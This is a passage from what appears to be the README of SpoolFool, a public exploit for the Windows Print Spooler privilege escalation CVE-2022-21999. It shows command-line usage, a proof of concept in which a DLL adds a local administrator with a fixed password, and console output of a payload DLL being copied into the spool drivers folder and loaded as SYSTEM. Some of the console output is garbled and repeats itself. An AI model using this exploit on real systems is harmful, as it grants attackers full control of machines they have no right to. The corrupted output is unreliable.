

```
Examples:
    -dll add_user.dll
    -dll add_user.dll -printer 'My Printer'
    -dll add_user.dll -dir 'SECRET'
    -dll add_user.dll -printer 'My Printer' -dir 'SECRET'
```

Proof of Concept

The following PoC uses a DLL that creates a new local administrator admin / Passw@rd! . The DLL (AddUser.dll) and the source code can be found in this repository.

```
PS C:\SpoolFool> net user admin
The user admin
The user mane could not be found.

Nore help is available by typing NET HELPHSO 2221.

PS C:\SpoolFool> \SpoolFool> \SpoolFool \section \SpoolFool \section \sectio
```

Second run

The following PoC demonstrates a second run of the provided exploit. Notice that the vulnerability is not exploited this time in order to load the DLL.

```
PS C:\SpoolFool> .\SpoolFool.exe -dll .\AnotherPayload.dll

[*] Using printer name: Microsoft XPS Document Writer v4

[*] Using theory: 4

[*] Using theory: 4

[*] Using theory: 5

[*] Trying to open existing printer: Microsoft XPS Document Writer v4

[*] Opened existing printer: Microsoft XPS Document Writer v4

[*] Opened existing printer: Microsoft XPS Document Writer v4

[*] Target directory already exists

[*] Copying DlL: .\AnotherPayload.dll -> C:\Windows\system32\spool\DRIVERS\x64\4\AnotherPayload.dll

[*] Granting read and execute to SYSTEM DLL: C:\Windows\system32\spool\DRIVERS\x64\4\AnotherPayload.dll

[*] Loading DlL as SYSTEM: C:\Windows\system32\spool\DRIVERS\x64\4\AnotherPayload.dll

[*] DLL should be loaded

PS C:\SpoolFool>

[*] DLL should be loaded

PS C:\SpoolFool>
[*] DLL should be loaded
```

Artifacts

After the exploit has been executed, the following artifacts will be left for later cleanup:

- The created printer driver directory is not removed
- The payload DLL is copied to the printer driver directory and it is not removed
- Any created printer is not removed
- The SpoolDirectory value of the targeted printer is not restored

Authors

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References

SpoolFool: Windows Print Spooler Privilege Escalation (CVE-2022-21999)

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